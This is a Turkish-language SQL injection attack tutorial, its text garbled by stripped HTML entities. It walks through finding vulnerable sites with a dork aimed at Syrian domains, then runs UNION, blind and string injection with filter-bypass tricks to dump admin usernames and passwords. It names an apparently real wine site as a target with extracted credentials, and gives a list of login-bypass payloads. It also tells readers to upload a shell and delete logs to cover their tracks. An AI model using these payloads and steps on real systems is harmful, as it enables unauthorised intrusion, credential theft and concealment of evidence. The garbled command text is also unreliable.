SQL İnjection saldırısı ile veri silebilir ekleyebilir değiştirebilirizBunları yapmak iccedilin sistemde birkaccediliznimizin olması gerekiyorYani sistem bize veri silme ekleme yetkisi vermiyorsa biz zaten bunlarıyapamayızSQL İnjection saldırısı ccediloğunlukla hedef sistemin youmlnetici şifresini ele geccedilirerek sistemeyoumlnetici gibi giriş yapıp sistemi hacklemek iccedilin kullanılırAma ne yazık ki SQL İnjection saldırısı ileyapabileceklerimizin sadece bunlarla sınırlı olmadığını uumllkemizdeki ccediloğu kimse bilmiyorGeccedilenlerde biryerde okumuştum onu da sizlerle paylaşayımYabancı uumllkede bir Hacker buumlyuumlk bir sisteminde SQLİnjection accedilığı bulmuşDaha sonra veritabanın da ki tuumlm kredi kartı bilgilerini ccedilalmışToplam olarak kaccedilkredi kartı ccedilaldığını bilmiyorum ama ccedilok yuumlkluuml miktarda mevla kaldırmışAma biz tabii ki Dinimizingereğince haram para ve kazanccedilta goumlzuumlmuumlz yokHaram olan bir kazancın bize yararıdokunmayacağını biliriz
5- SQL İnjection Accedilığı Nerelerde Bulunabilir Belirli Bir Dorkrsquou Varmıdır
SQL İnjection ccedilok geniş kapsamlı ve ccedilok tehlikeli bir accedilıktırTuumlm sistemlerde rastlanabilen bir accedilıktır
SQL İnjection saldırılarının id= değerlerinin bulunduğu sitelerde Search (Arama) kutucuklarındaformlarda vs yerlerde bulunabilirYani veri alışverişinin yapıldığı her yerde bulunabilirSize başlangıccediliccedilin bir Dork vereceğimDorkrsquou Googlersquoda arattığınızda karşınıza bir suumlruuml site gelecekBu sitelerde iddeğerinin bulunduğu yerlerde SQL İnjection accedilığı araması yapabilirsiniz
Dork inurlrdquophpid=rdquo sitesy -gt bu dorkta şunu dedik(Suriye) Sy sitelerinde phpid= değerininbulunduğu siteleri goumlsterSQL İnjection saldırısına aşağıda değineceğiz
6- Ccedileşitli Yerlerde SQL İnjection Saldırısı Yapmak
Yukarıda da bahsettiğim gibi SQL İnjection saldırısını birccedilok yerde yapabilirizŞimdi bu accedilığı iyice birtanıyalım
a-) SQL İnjection Accedilığı Nasıl Tespit Edilir (Tipik SQL İnjection Hatası)
Bir Web Site duumlşuumlnuumln wwwsitemcomsayfaphpid=1 şeklinde
Burada SQL Accedilığının olup olmadığını id= değerinin sol tarafındaki değerin sonuna veya değerinbaşına lsquo veya lsquoa koyarak anlayabilirizYani linkimizin son şekli
wwwsitemcomsayfaphpid=1rsquo veya wwwsitemcomsayfaphpid=1rsquoa şeklinde oluyor
Eee tamam ben aynı şekilde yaptım accedilık olduğunu nasıl anlayacağım
SQL Accedilıklarını Tipik olarak bize verdiği hatadan anlarızYani hatalar SQL İnjection ccedileşitlerine goumlredeğişkenlik goumlsterebiliyorBiz şuanda normal bir SQL Accedilığının nasıl bulanacağına yoğunlaşalım
Oumlrnek bir SQL İnjection hatası
Evet lsquo koyduktan sonra bu hatayı alıyorsak burada SQL İnjection accedilığı olduğunu kavrıyoruz
b-) Search Kutularında SQL İnject Accedilığı Aramak
Search Arama kelimesinin ingilizce kavramıdırŞimdi sitelerdeki Search kutularında SQL Accedilığıarayacağız
Search kutucuğu goumlrduumlğuumlnuumlz yerlere lsquo - lsquoa gibi işaretleri yapıp ara butonuna tıklıyoruzEğer ekrandatekrardan bir SQL İnjection hatası alıyorsanız Search dosyasında accedilık olduğunu anlıyoruz
c-) Kayıt Formlarında SQL İnject Accedilığı Aramak
Kayıt formlarının siteler iccedilin ccedilok tehlike arz eden kısımlar olduğundan bahsetmiştikYukarıda daXSS accedilığının nasıl aranacağında goumlrmuumlştuumlkHemen SQL Accedilığının nasıl aranacağına bakıyoruz
Evet goumlruumllduumlğuuml uumlzere tuumlm textrsquolere lsquoa yazılmışDaha sonra Goumlnder Butonu veya kayıt ol butonu varsatıkladığımızda bizim karşımıza tekrar SQL Hatası geliyorsa kayıt dosyasında accedilık olduğunu anlarız
d-) İD Değerinin Bulunduğu Sitelerde SQL İnject Accedilığı Aramak
Şimdi İD değerinin bulunduğu yerlerde SQL Accedilığı aramayı goumlreceğizİD değeri değişkenlikgoumlsterebilirSiteyi kodlayan Coder kardeşimiz Veri alışverişinde İD değeri yerine cat= s= i= q= vsdeğerler koyabilirYani bu Coder kardeşimizin elinde olan bişeydirBiraz farklılık accedilısından ben şuan İDdeğeri yerine cat= değerini kullanarak SQL Accedilığı arayacağım
Evet goumlruumllduumlğuuml uumlzere cat= ile alınmış bir veriVeri numarası 9 muş
Goumlrduumlğuuml gibi değerde bir accedilık soumlz konusu
e-) Ziyaretccedili Defterinde SQL İnjection Accedilığı Aramak
Ziyaretccedili Defterleri Hackerlar iccedilin bir nimet sayılabilir(Guumlvenliğin sağlanmaması durumunda)
Şimdi bir ziyaretccedili defterinde SQL Accedilığı arayalımZiyaretccedili Defterinin tuumlm text kutularına lsquo veya lsquoaişaretlerinden birini koyuyoruz
ŞeklindeGoumlnder butonuna bastığınızda eğer bir SQL Hatasıyla karşılaştıysanız burada bir SQLAccedilığının olduğunu anlarsınız
7-Saldırı Anı(SQL Accedilığının Tespiti)
Bir Web Sayfası duumlşuumlnuumln
wwwsayfamcomdosyaphpid=2 olsunBurada accedilık tespiti yapalım hemen
wwwsayfamcomdosyaphpid=2rsquo Koyduk hata aldıkYani bir SQL Accedilığı soumlz konusuŞimdi SQLAccedilığını aldık ama ne yapacağımızı bilmiyoruz Yapacağımız işlem ccedilok basit
8-Saldırı Anı2(Kolon Sayısı Oumlğrenmek Kolon Sayısı Nedir Neye Yarar)
Evet accedilık tespitini yaptıkŞimdi kolon sayısını bulacağızAma oumlncesinde Kolon sayısı nedir neye yararbir goumlz atalım
Veritabanındaki sutuumlnlara kolon (column) denirİccedilerisinde verileri barındırırPek accedilıklamaya gerekyokSQL Programlama dilini oumlğrenecek arkadaşlar ayrıntıları zaten oumlğrenecektirler
Evet accedilığın olduğu sitemiz wwwsayfamcomdosyaphpid=2rsquo idiŞimdi ORDER BY Komutu ileKolon sayısını oumlğrenelim
wwwsayfamcomdosyaphpid=2+order+by+1 yapıyoruzSayfa eski haline geri doumlnduuml
wwwsayfamcomdosyaphpid=2+order+by+10 yapıyoruzEkrana
Şeklinde bir hata geldiYani burada bize kolon sayısının 10 lsquodan kuumlccediluumlk olduğunu soumlyliyorHemen birbir aşağı iniyoruz
wwwsayfamcomdosyaphpid=2+order+by+9 yaptıkSayfa tekrar aynı hatayı verdi
wwwsayfamcomdosyaphpid=2+order+by+8 yapıyoruz sayfa duumlzeldiYani Kolon sayısı 8rsquomiş
Dipnot Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa duumlzelmiyorsa link sonuna-- veya --x +-- şeklinde işaretler koyarak net sonuccedillar alabilirsiniz
9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)
Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım
Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım
wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz
-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass
Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen
wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit
wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz
wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur
Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden
10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)
Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz
Oumlnce Group_Concat Fonksiyonunu tanıyalım
Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım
wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--
Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik
table_name = Tablo isimleri
information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri
information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir
information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim
Ekrana yansıyan tablo isimlerine bir bakalım
adminresimleradreslerhizmetler vs vs olsun
bize burada lazım olacak tabloyu seccediliyoruz admin
Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız
Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri
Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--
Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz
Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)
Hexlenecek isim database()
Hexlenmiş Hali 64617461626173652829
Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--
Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz
11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)
Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi
Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz
Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Hexlenecek ad admin
Hexlenmiş hali 61646d696e
Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--
Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz
Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--
Sorguyu goumlnderdik
Username admin
Password bugres
Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur
UsernamePassword Char Code Ccedilevrilmiş Hali
StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)
Char Code halini group_concat() fonksiyonunun arasına yazıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--
Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz
12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)
Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi
Tekrar hatırlayalım
Uname admin
Pword bugres
Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız
Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim
Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır
Wordpress Admin panel yolu wp-admin
Joomla admin panel yolu administrator
Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz
Tahmine başlıyoruz
wwwsayfamcomadmin -gt Error
wwwsayfamcomyoneticiphp -gt Error
wwwsayfamcomadminphp -gt Error
wwwsayfamcomlog_inphp -gt Yess P
Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz
Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz
13-Saldırı Anı7(İzlerimizi Silmek)
Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor
14-Sonuccedil
Neler yaptık
Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor
15- Kaccedil Tuumlr SQL İnjection Vardır
a-) MySql İnjection
Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız
SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut
Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım
Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı
Bu accedilığın kullanımına geccedilelim
Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam
Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22
Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun
Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş
Şimdi kolonları yansıtalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz
Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz
Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--
Sorgusunun ardından ekrana tablersquolar yansıdı
Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )
Şimdi admin tablosundaki kolonlara bakalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
Ekrana userpassmail yansıdığını farz edelim
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--
User admin
Pass 123456
Email adminparoswinescom
b-) Ms Access SQL İnjection
Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml
SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr
Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo
Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir
Microsoft JET Database Engine error rsquo80040e14rsquo
Syntax error in string in query expression rsquoid = 10rsquo
sayfaasp line 7
Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz
wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti
wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata
Microsoft JET Database Engine error rsquo80040e14rsquo
The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression
sayfaasp line 7
Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek
wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış
Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım
wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza
Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani
wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--
ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir
wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--
Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur
User mahserat
Pass bugres
c-) Blind SQL İnjection
Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz
Gene bir hedef site duumlşuumlnuumln
wwwsayfacomdosyaphpid=2 olsun
Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz
wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor
and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz
Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz
wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım
wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş
Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325
burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir
Şimdi user sutuumlnunu ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572
Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim
and substring((select user from users)11)=0x(tahmin edilen users)
and substring((select pass from users)21)=0x(tahmin edilen users)
Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz
Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir
d-) String SQL İnjection
Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani
wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor
wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz
wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim
wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok
wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil
wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor
Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi
wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )
Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr
Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox
Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde
Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Şeklinde Kadı ve Şifreyi ccedilektik
e-) SQL İnjection Login Bypass
SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım
Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl
SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere
adminrsquomdash
rsquo or 0=0 --
rsquo or rsquo 1=1
rsquo or rsquo 1
rsquo or rsquo
or 0=0 --
or 0=0 --
rsquo or 0=0
or 0=0
or 0=0
rsquo or rsquoxrsquo=rsquox
or x=x
rsquo) or (rsquoxrsquo=rsquox
rsquo or 1=1--
or 1=1--
or 1=1--
rsquo or a=a--
or a=a
rsquo) or (rsquoarsquo=rsquoa
) or (a=a
hi or a=a
hi or 1=1 --
hirsquo or 1=1 --
hirsquo or rsquoarsquo=rsquoa
hirsquo) or (rsquoarsquo=rsquoa
hi)or(a=a
Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz
lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım
Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz
Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu
f-) PostData SQL İnjection
Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl
Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan
ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz
Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza
